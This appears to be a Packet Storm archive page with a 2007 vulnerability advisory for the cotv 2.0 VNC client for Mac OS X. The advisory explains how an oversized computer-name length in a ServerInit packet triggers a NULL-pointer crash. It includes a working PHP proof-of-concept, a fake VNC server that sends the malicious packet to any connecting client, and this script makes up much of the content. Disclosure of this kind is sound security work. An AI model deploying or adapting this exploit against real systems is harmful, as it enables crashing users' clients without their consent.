exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cotv2-dos.txt

cotv2-dos.txt
Posted Feb 6, 2007
Authored by poplix

cotv 2.0 suffers from a client-side denial of service vulnerability due to a lack of validation. Demonstration exploit included.

tags | exploit, denial of service
SHA-256 | f707ee93bda1d6d72d269716afca6da52d47a31e6d5abc8bec288f711a10b6e2

cotv2-dos.txt

Change Mirror Download
hi,
i wish to inform you that cotv 2.0 (a vnc client for maxosx) available at http://sourceforge.net/projects/cotvnc/ is prone to a remotely exploitable denial of service vulnerability because it fails to validate the content of ServerInit packets.
A ServerInit packet contains the server's computer name and its size in the following format:
[...]<computer-name-size><computer-name>
where:
computer-name-size is 4bytes interpreted as unsigned int rapresentig the size in bytes of the computer name
and
computer-name is a variable size array of bytes rapresentig the computer name

when cotv recives a ServerInit packet, it first allocates a buffer by passing computer-name-size to malloc() and then it copies computer-name to the newly allocated memory.
The problem is that cotv doesn't validate the pointer returned by malloc() so it's possible that a NULL-pointer will be used as the first parameter of memcpy() causing the program to crash.

a proof-of-concept is attached, run that php script and connect cotv to it with a blank password (disable vnc auth)

hope it helps,
cheers
-poplix




# BOF
<?
$port = "5900";


$BadServerInit=
"\x04\x00". // fb-width
"\x03\x00". // fb-hight
"\x20". // bits per pixel
"\x18". // depth
"\x00". // big-endian flag
"\x01". // true-color flag
"\x00\xff\x00\xff\x00\xff". // r-g-b max
"\x10\x08\x00". // r-g-b shift
"\x00\x00\x00". // padding
"\xff\xff\xff\xff". // computer-name size
"DIE_PLZ"; // computer-name


$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
socket_bind($ser,"0.0.0.0", $port);

socket_listen($ser, 5);

print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference
02-02-2007 poplix [@] papuasia.org
listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
if(substr($i,0,6) == "RFB 00") break;


print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024))
if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);


socket_close($cotv);

socket_close($ser);

print "done\n";
?>
# EOF

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close